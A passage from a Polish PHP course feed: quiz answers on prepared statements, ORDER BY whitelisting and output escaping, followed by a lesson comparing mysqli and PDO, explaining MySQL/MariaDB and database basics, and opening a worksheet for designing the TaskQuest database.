<li><p>Zadziała bez błędu, ale <strong>nie posortuje</strong> — parametr zostanie wstawiony jako wartość tekstowa, czyli sortowanie odbędzie się po stałym tekście. Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> przekazujemy tylko wartości. Poprawnie: whitelist (<code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array()</code> + wartość domyślna) i wstawienie nazwy kolumny do tekstu zapytania.</p></li>



<li><p>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code>. Po prepared statement z <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(99)</code>. Prepared statements przesyłają wynik protokołem binarnym i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zamienia kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> na PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>.</p></li>



<li><p>Nie. Brak wiersza to normalny wynik zapytania, nie awaria — funkcja zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a kod wywołujący decyduje, co z tym zrobić (np. wylogowanie i komunikat). Wyjątek zostaw na sytuacje, w których nie da się wykonać zapytania: brak połączenia, błąd SQL.</p></li>



<li><p>Fragment <strong>A</strong>. Zapytanie jest bezpieczne (prepared statement), ale imię pobrane z bazy trafia do HTML bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> — jeżeli ktoś wcześniej zapisał do bazy <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script></code>, dostajemy XSS. Baza nie jest źródłem „zaufanych” danych. Fragment B jest poprawny.</p></li>



<li><p>Szkielet (obiektowo; wersja proceduralna z arkusza analogicznie):<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />$polaczenie = new mysqli('localhost', 'root', '', 'wodospady');<br />$idKontynent = $_GET['idKontynent'] ?? 6;<br /><br />$zapytanie = $polaczenie->prepare(<br />    'SELECT idObiekt, panstwo, nazwa FROM obiekty WHERE idKontynent = ?'<br />);<br />$zapytanie->bind_param('i', $idKontynent);<br />$zapytanie->execute();<br />$wynik = $zapytanie->get_result();<br /><br />while ($wiersz = $wynik->fetch_assoc()) {<br />    echo '&lt;tr>';<br />    echo '&lt;td>' . $wiersz['idObiekt'] . '&lt;/td>';<br />    echo '&lt;td>' . htmlspecialchars($wiersz['panstwo']) . '&lt;/td>';<br />    echo '&lt;td>' . htmlspecialchars($wiersz['nazwa']) . '&lt;/td>';<br />    echo '&lt;/tr>';<br />}<br /><br />$polaczenie->close();<br />?><br /></code>Punkty, o których najłatwiej zapomnieć: wartość domyślna dla parametru GET, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;tr></code> wewnątrz pętli (a nie przed nią) i zamknięcie połączenia na końcu.</p><br /></li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/">18. PHP – łączenie z bazą i operacje SELECT</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>17. PHP – współpraca z bazami danych</title>
		<link>https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 16 May 2019 19:40:07 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2340</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 15: klasy i obiekty. Odpowiedz bez uruchamiania kodu. 1. Co wyświetli ten kod? 2. Zadanie ma właściwość private string $tytul i metodę pobierzTytul(). Co się stanie po wykonaniu echo $zadanie-&#62;tytul;? 3. Czy ten kod utworzy poprawny obiekt? Dlaczego? 4. Co wyświetli ostatnia linia, jeśli $kama ma 99 XP? [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/">17. PHP – współpraca z bazami danych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 15: klasy i obiekty. Odpowiedz bez uruchamiania kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli ten kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Licznik
{
    private int $wartosc = 0;

    public function zwieksz(): void
    {
        $wartosc++;
    }

    public function pobierz(): int
    {
        return $this-&gt;wartosc;
    }
}

$licznik = new Licznik();
$licznik-&gt;zwieksz();
$licznik-&gt;zwieksz();
echo $licznik-&gt;pobierz();</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Zadanie ma właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">private string $tytul</code> i metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>. Co się stanie po wykonaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $zadanie-&gt;tytul;</code>?</p>



<p class="wp-block-paragraph"><strong>3.</strong> Czy ten kod utworzy poprawny obiekt? Dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(tytul: 'SQL', id: 7, opis: '', termin: '2026-10-01', wykonane: false, xp: 20);</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wyświetli ostatnia linia, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$kama</code> ma 99 XP?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$ktos = $kama;
$ktos-&gt;dodajXp(10);
echo $kama-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Co wyświetli ten kod, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code> ma 99 XP?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $uzytkownik-&gt;dodajXp(-5);
} catch (Exception $wyjatek) {
    echo 'Błąd: ' . $wyjatek-&gt;getMessage();
}

echo ' XP: ' . $uzytkownik-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Znajdź błąd. Metoda się wykonuje, nie ma komunikatu, a XP użytkownika się nie zmienia.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function dodajXp(int $xp): void
{
    $this-&gt;xp + $xp;
}</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Podaj dwie różnice między klasą abstrakcyjną a interfejsem.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwieksz()</code> brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code>. PHP zwiększa lokalną zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wartosc</code> (z ostrzeżeniem o nieistniejącej zmiennej), która znika po wyjściu z metody. Właściwość obiektu pozostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</li>



<li>Błąd krytyczny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property</code>. Właściwość jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, więc z zewnątrz dostępna jest tylko przez metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>.</li>



<li>Tak. Przy <strong>argumentach nazwanych</strong> kolejność nie ma znaczenia — liczą się nazwy parametrów. Muszą być podane wszystkie parametry bez wartości domyślnej.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">109</code>. Przypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ktos = $kama</code> nie tworzy kopii obiektu — obie zmienne wskazują <strong>ten sam</strong> obiekt.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Błąd: Liczba XP do dodania musi być większa od zera. XP: 99</code>. Wyjątek przerywa metodę <strong>przed</strong> zmianą XP.</li>



<li>Wynik dodawania nie zostaje nigdzie zapisany. Powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp += $xp;</code> (czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp = $this-&gt;xp + $xp;</code>).</li>



<li>Na przykład: klasa abstrakcyjna może zawierać właściwości i gotowe implementacje metod, interfejs tylko ich sygnatury (i stałe); klasa może dziedziczyć po <strong>jednej</strong> klasie abstrakcyjnej, ale implementować <strong>wiele</strong> interfejsów.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<div class="entry-content">
<p>Najwygodniejszym i optymalnym miejscem do przechowywania dużej ilości informacji są bazy danych.</p>
<p>Wyobraź sobie aplikację jak Discord, Instagram czy system do zarządzania serwerem gier – wszystkie te platformy muszą gdzieś przechowywać miliony danych użytkowników, wiadomości, postów czy statystyk graczy. Do tego właśnie służą bazy danych.</p>
<p>Aby PHP mógł korzystać z bazy danych, muszą być spełnione podstawowe warunki:</p>
<ul>
<li>Serwer bazy danych musi być zainstalowany i uruchomiony</li>
<li>PHP musi posiadać dane dostępowe do połączenia (host, użytkownik, hasło, nazwa bazy)</li>
<li>Odpowiednie rozszerzenie PHP musi być włączone (MySQLi lub PDO)</li>
</ul>
</div>



<h2 class="wp-block-heading">Sposoby komunikacji z bazą danych</h2>



<p class="wp-block-paragraph">W historii PHP istniały&nbsp;<strong>3 sposoby</strong>&nbsp;łączenia się z bazą MySQL:</p>



<h3 class="wp-block-heading">1. mysql (stare rozszerzenie) &#8211; USUNIĘTE</h3>



<ul class="wp-block-list">
<li>Zdeprecjonowane: PHP 5.5.0 (2013)</li>



<li>Całkowicie usunięte: PHP 7.0.0 (2015)</li>



<li>Funkcje:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_query()</code>&nbsp;itp.</li>



<li>Status:&nbsp;<strong>NIE UŻYWAJ</strong>&nbsp;&#8211; nie działa w nowoczesnych wersjach PHP</li>
</ul>



<h3 class="wp-block-heading">2. MySQLi (MySQL Improved) &#8211; AKTYWNE</h3>



<p class="wp-block-paragraph"><strong>MySQLi</strong>&nbsp;to wersja poprawiona i aktualna wycofanej od PHP7 biblioteki&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code>.</p>



<p class="wp-block-paragraph">Cechy MySQLi:</p>



<ul class="wp-block-list">
<li>Może być stosowane w podejściu&nbsp;<strong>proceduralnym</strong>&nbsp;i&nbsp;<strong>obiektowym</strong></li>



<li>Współpracuje&nbsp;<strong>tylko z bazami MySQL/MariaDB</strong></li>



<li>Wspiera prepared statements (ochrona przed SQL Injection)</li>



<li>Obsługuje transakcje</li>



<li>Dostępne w PHP 5, 7, 8 i nowszych</li>
</ul>



<p class="wp-block-paragraph">Kiedy używać MySQLi:</p>



<ul class="wp-block-list">
<li>Gdy na pewno będziesz używać tylko MySQL/MariaDB</li>



<li>Gdy pracujesz ze starszym kodem proceduralnym</li>



<li>Gdy potrzebujesz specyficznych funkcji MySQL</li>
</ul>



<h3 class="wp-block-heading">3. PDO (PHP Data Objects) &#8211; AKTYWNE</h3>



<p class="wp-block-paragraph"><strong>PDO</strong>&nbsp;to rozszerzenie w pełni obiektowe, które współpracuje z wieloma silnikami bazy danych, nie tylko MySQL.</p>



<p>Cechy PDO:</p>
<ul>
<li>Uniwersalny interfejs dla różnych baz danych (MySQL, PostgreSQL, SQLite, Oracle, MS SQL Server&#8230;)</li>
<li>Tylko tryb obiektowy</li>
<li>Named parameters (<code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code>) &#8211; bardziej czytelne zapytania</li>
<li>Prepared statements domyślnie</li>
<li>Łatwa zmiana bazy danych bez przepisywania kodu</li>
</ul>
<p>Kiedy używać PDO:</p>
<ul>
<li>Dla większości nowych projektów (zalecane!)</li>
<li>Gdy planujesz możliwość zmiany bazy danych w przyszłości</li>
<li>Gdy budujesz uniwersalną aplikację</li>
<li>Gdy preferujesz czysty kod obiektowy</li>
</ul>



<h2 class="wp-block-heading">PDO vs MySQLi &#8211; Porównanie</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Cecha</th><th>PDO</th><th>MySQLi</th></tr></thead><tbody><tr><td>Obsługiwane bazy</td><td>MySQL, PostgreSQL, SQLite, Oracle, MS SQL&#8230;</td><td>Tylko MySQL/MariaDB</td></tr><tr><td>Styl programowania</td><td>Tylko obiektowy</td><td>Proceduralny + obiektowy</td></tr><tr><td>Prepared statements</td><td>Named (<code class="prettyprint lang-sql" style="font-size: 0.85em;">:id</code>) + positional (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>)</td><td>Tylko positional (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>)</td></tr><tr><td>Wydajność</td><td>Bardzo dobra</td><td>Nieznacznie szybsze dla MySQL</td></tr><tr><td>Łatwość użycia</td><td>Bardzo intuicyjne</td><td>Intuicyjne</td></tr><tr><td>Popularność</td><td>Bardzo popularne</td><td>Bardzo popularne</td></tr></tbody></table></figure>



<p><strong>Rekomendacja:</strong>&nbsp;Dla nowych projektów zalecamy&nbsp;<strong>PDO</strong>&nbsp;ze względu na uniwersalność i czytelność kodu.</p>



<h2 class="wp-block-heading">MySQL i MariaDB</h2>



<p class="wp-block-paragraph">RDBMS (Relational Database Management System)</p>



<p class="wp-block-paragraph">RDBMS to system zarządzania relacyjnymi bazami danych – dane przechowywane są w tabelach, które mogą być ze sobą powiązane relacjami (np. użytkownik → posty, gracz → statystyki).</p>



<p class="wp-block-paragraph"><strong>MySQL</strong>&nbsp;i&nbsp;<strong>MariaDB</strong>&nbsp;są właśnie takimi systemami.</p>



<h3 class="wp-block-heading">Historia i różnice</h3>



<p class="wp-block-paragraph"><strong>MySQL:</strong></p>



<ul class="wp-block-list">
<li>Stworzony w 1995 roku</li>



<li>Od 2010 roku należy do Oracle Corporation</li>



<li>Najpopularniejszy system open-source do zarządzania bazami danych</li>



<li>Używany przez: Facebook, Twitter, YouTube, Wikipedia</li>
</ul>



<p class="wp-block-paragraph"><strong>MariaDB:</strong></p>



<ul class="wp-block-list">
<li>Fork MySQL utworzony w 2009 roku przez oryginalnych twórców MySQL</li>



<li>Powstała jako alternatywa po przejęciu MySQL przez Oracle</li>



<li>Licencja: GPL (w pełni open-source)</li>



<li>Kompatybilna z MySQL (drop-in replacement do wersji 5.5)</li>



<li>Szybszy rozwój i częstsze aktualizacje</li>



<li>Oferuje lepsze silniki obsługi pamięci masowej (Aria, ColumnStore, MyRocks)</li>
</ul>



<h3 class="wp-block-heading">Co wybrać?</h3>



<p class="wp-block-paragraph">Oba rozwiązania są darmowe i świetnie sprawdzają się w nauce i projektach komercyjnych.</p>



<p class="wp-block-paragraph"><strong>MySQL</strong>&nbsp;&#8211; jeśli:</p>



<ul class="wp-block-list">
<li>Pracujesz z narzędziami/aplikacjami wymagającymi MySQL</li>



<li>Potrzebujesz wsparcia komercyjnego od Oracle</li>



<li>Używasz starszej dokumentacji/tutoriali</li>
</ul>



<p class="wp-block-paragraph"><strong>MariaDB</strong>&nbsp;&#8211; jeśli:</p>



<ul class="wp-block-list">
<li>Zależy Ci na pełnej otwartości (GPL)</li>



<li>Chcesz nowsze funkcje i szybsze aktualizacje</li>



<li>Budujesz nowy projekt</li>
</ul>



<p class="wp-block-paragraph"><strong>Dla nauki:</strong>&nbsp;Oba systemy są prawie identyczne w użyciu – składnia SQL jest taka sama, więc nauka na jednym oznacza umiejętność pracy z drugim.</p>



<p>Więcej o tych dwóch systemach możecie przeczytać na stronie:&nbsp;<a href="https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/" target="_blank" rel="noreferrer noopener">https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/</a></p>



<h2 class="wp-block-heading">Podstawowe pojęcia</h2>



<p>Zanim przejdziemy do łączenia z bazą, poznaj kluczowe pojęcia:</p>
<p><strong>baza danych (database) &#8211; </strong>Zorganizowany zbiór danych. Przykład: baza&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">discord_app</code>&nbsp;zawiera wszystkie dane aplikacji Discord.</p>
<p><strong>tabela (table) &#8211; </strong>Struktura przechowująca dane w formie wierszy i kolumn. Przykład: tabela&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">users</code>&nbsp;przechowuje dane użytkowników.</p>
<p><strong>kolumna (column/field) &#8211;&nbsp;</strong>Pojedyncze pole w tabeli. Przykład:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">username</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">email</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">created_at</code>.</p>
<p><strong>wiersz (row/record) &#8211;&nbsp;</strong>Pojedynczy rekord w tabeli. Przykład: jeden użytkownik to jeden wiersz.</p>
<p><strong>klucz główny (primary key) &#8211;&nbsp;</strong>Unikalne pole identyfikujące wiersz. Przykład:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>&nbsp;użytkownika.</p>
<p><strong>SQL (Structured Query Language) &#8211; </strong>Język używany do komunikacji z bazą danych.</p>
<p>Podstawowe operacje (<strong>CRUD</strong>):</p>
<ul>
<li><strong>C</strong>REATE (INSERT) &#8211; dodawanie danych</li>
<li><strong>R</strong>EAD (SELECT) &#8211; odczytywanie danych</li>
<li><strong>U</strong>PDATE &#8211; aktualizacja danych</li>
<li><strong>D</strong>ELETE &#8211; usuwanie danych</li>
</ul>



<h2 class="wp-block-heading">Tworzenie bazy danych &#8211; dwa sposoby</h2>



<h3 class="wp-block-heading">1. Graficznie w phpMyAdmin</h3>



<p class="wp-block-paragraph">phpMyAdmin to narzędzie webowe do zarządzania bazami MySQL/MariaDB (dostępne w XAMPP, WAMP, na hostingu).</p>



<p class="wp-block-paragraph">Kroki:</p>



<ol>
<li>Otwórz phpMyAdmin (zwykle&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/phpmyadmin</code>)</li>
<li>Kliknij zakładkę &#8222;Bazy danych&#8221;</li>
<li>Wpisz nazwę bazy (np.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">social_media_app</code>)</li>
<li>Wybierz kodowanie:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code>&nbsp;(obsługa emoji i polskich znaków)</li>
<li>Kliknij &#8222;Utwórz&#8221;</li>
</ol>



<h3 class="wp-block-heading">2. Przez kod PHP</h3>



<p class="wp-block-paragraph">Możesz również tworzyć bazy bezpośrednio z poziomu PHP (przydatne przy automatyzacji).</p>



<p>Szczegóły w dalszej części materiału.</p>



<h2 class="wp-block-heading">Co dalej?</h2>



<p class="wp-block-paragraph">W kolejnych częściach nauczysz się:</p>



<ul class="wp-block-list">
<li>Łączyć się z bazą danych (PDO i MySQLi)</li>



<li>Wykonywać zapytania SQL (SELECT, INSERT, UPDATE, DELETE)</li>



<li>Zabezpieczać aplikację przed SQL Injection</li>



<li>Obsługiwać błędy połączenia</li>



<li>Pracować z prepared statements</li>



<li>Budować praktyczne aplikacje (system logowania, chat, panel gracza)</li>
</ul>



<h2 class="wp-block-heading">Jak sprawdzić czy masz włączone rozszerzenia w kodzie PHP</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź MySQLi
if (extension_loaded('mysqli')) {
    echo "MySQLi jest dostępne&lt;br&gt;";
} else {
    echo "MySQLi NIE jest dostępne&lt;br&gt;";
}

// Sprawdź PDO
if (extension_loaded('pdo_mysql')) {
    echo "PDO MySQL jest dostępne&lt;br&gt;";
} else {
    echo "PDO MySQL NIE jest dostępne&lt;br&gt;";
}

// Lista wszystkich dostępnych sterowników PDO
echo "&lt;br&gt;Dostępne sterowniki PDO:&lt;br&gt;";
print_r(PDO::getAvailableDrivers());
?&gt;</code></pre>



<p class="wp-block-paragraph">Jeśli coś nie działa, sprawdź plik&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>&nbsp;i odkomentuj linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=mysqli
extension=pdo_mysql</code></pre>



<h2 class="wp-block-heading">Przykłady zastosowań baz danych</h2>



<p class="wp-block-paragraph">Żeby lepiej zrozumieć do czego służą bazy danych, zobacz przykłady z życia codziennego:</p>



<h3 class="wp-block-heading">Aplikacja do streamingu muzyki (typ Spotify)</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">users</code>&nbsp;&#8211; użytkownicy (id, username, email, premium)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">songs</code>&nbsp;&#8211; utwory (id, title, artist, duration, file_path)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">playlists</code>&nbsp;&#8211; playlisty (id, user_id, name, created_at)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">playlist_songs</code>&nbsp;&#8211; piosenki w playlistach (playlist_id, song_id)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">listening_history</code>&nbsp;&#8211; historia odsłuchań (user_id, song_id, played_at)</li>
</ul>



<h3 class="wp-block-heading">System zarządzania serwerem gier (typ Minecraft)</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code>&nbsp;&#8211; gracze (id, username, uuid, first_join, last_seen)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">player_stats</code>&nbsp;&#8211; statystyki (player_id, kills, deaths, playtime, level)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">inventory</code>&nbsp;&#8211; ekwipunek (player_id, item_id, quantity, slot)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">transactions</code>&nbsp;&#8211; zakupy (id, player_id, item, price, date)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bans</code>&nbsp;&#8211; bany (player_id, reason, banned_by, expires_at)</li>
</ul>



<h3 class="wp-block-heading">Panel Discord Bot</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">guilds</code>&nbsp;&#8211; serwery (id, name, owner_id, prefix, premium)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">guild_settings</code>&nbsp;&#8211; ustawienia (guild_id, welcome_channel, log_channel, auto_role)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">commands_usage</code>&nbsp;&#8211; statystyki (guild_id, command_name, uses, last_used)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">warnings</code>&nbsp;&#8211; ostrzeżenia (user_id, guild_id, reason, moderator_id, date)</li>
</ul>



<h2 class="wp-block-heading">Przydatne linki</h2>



<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/book.mysqli.php" target="_blank" rel="noreferrer noopener">Dokumentacja MySQLi</a></li>



<li><a href="https://www.php.net/manual/en/book.pdo.php" target="_blank" rel="noreferrer noopener">Dokumentacja PDO</a></li>



<li><a href="https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/" target="_blank" rel="noreferrer noopener">MySQL vs MariaDB &#8211; szczegółowe porównanie</a></li>



<li><a href="https://www.w3schools.com/php/php_mysql_intro.asp" target="_blank" rel="noreferrer noopener">W3Schools &#8211; PHP MySQL</a></li>



<li><a href="https://docs.phpmyadmin.net/" target="_blank" rel="noreferrer noopener">phpMyAdmin &#8211; dokumentacja</a></li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.7 — projektujemy bazę danych TaskQuest</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 15 zadanie i użytkownik są w TaskQuest obiektami. Jednak <strong>dane nadal nie mają prawdziwego domu</strong>. Zadania leżą w jednym pliku CSV, wspólnym dla wszystkich, którzy się zalogują. XP, streak i data ostatniej aktywności są wpisane w kod <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> istnieją, ale ich efekt znika razem z końcem żądania.</p>



<p class="wp-block-paragraph">Dziś zaprojektujemy i zbudujemy <strong>bazę danych</strong> TaskQuest. Będzie w niej miejsce na wielu użytkowników, każdy z własnymi zadaniami, XP i streakiem.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>czym jest <strong>relacyjna baza danych</strong> i czym różni się od pliku CSV,</li>



<li>podstawowych pojęć: <strong>tabela, kolumna, wiersz (rekord), klucz główny, klucz obcy, relacja 1:N</strong>,</li>



<li>dobierać <strong>typy kolumn</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) i ograniczenia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>),</li>



<li>decydować, <strong>czego nie zapisywać w bazie</strong>, bo da się to obliczyć,</li>



<li>utworzyć bazę i tabele w <strong>phpMyAdmin</strong> skryptem SQL i sprawdzić, że baza sama pilnuje poprawności danych,</li>



<li>sprawdzić w PHP, czy serwer ma rozszerzenie <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong>, przez które TaskQuest połączy się z bazą.</li>
</ul>



<p class="wp-block-paragraph">Efekt: w projekcie pojawia się plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>. Tworzy on bazę TaskQuest z dwiema tabelami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>) i danymi testowymi przeniesionymi z CSV. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje, czy PHP jest gotowe do pracy z bazą.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li><strong>TaskQuest nadal czyta zadania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong>, a XP i streak nadal są symulowane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Po tej lekcji baza istnieje i zawiera dane, ale aplikacja jeszcze z niej <strong>nie korzysta</strong>. Połączenie PHP z bazą i pierwsze zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> to Lekcja 18.</li>



<li>Z SQL potrzebujemy dziś tylko trzech poleceń: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code> (budowa tabeli), <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> (dane testowe) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> (podgląd). Wszystkie wykonujemy <strong>ręcznie w phpMyAdmin</strong>, nie z PHP.</li>



<li>Do bazy łączymy się rozszerzeniem <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong>, w wersji <strong>obiektowej</strong>. Od Lekcji 15 wiesz, co to znaczy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> to klasa, a połączenie to obiekt tworzony przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>.</li>



<li>Hasła: tabela użytkowników dostaje dziś kolumnę na hasło, ale zostaje ona pusta. Hasła pojawią się w Lekcji 19.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 15</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
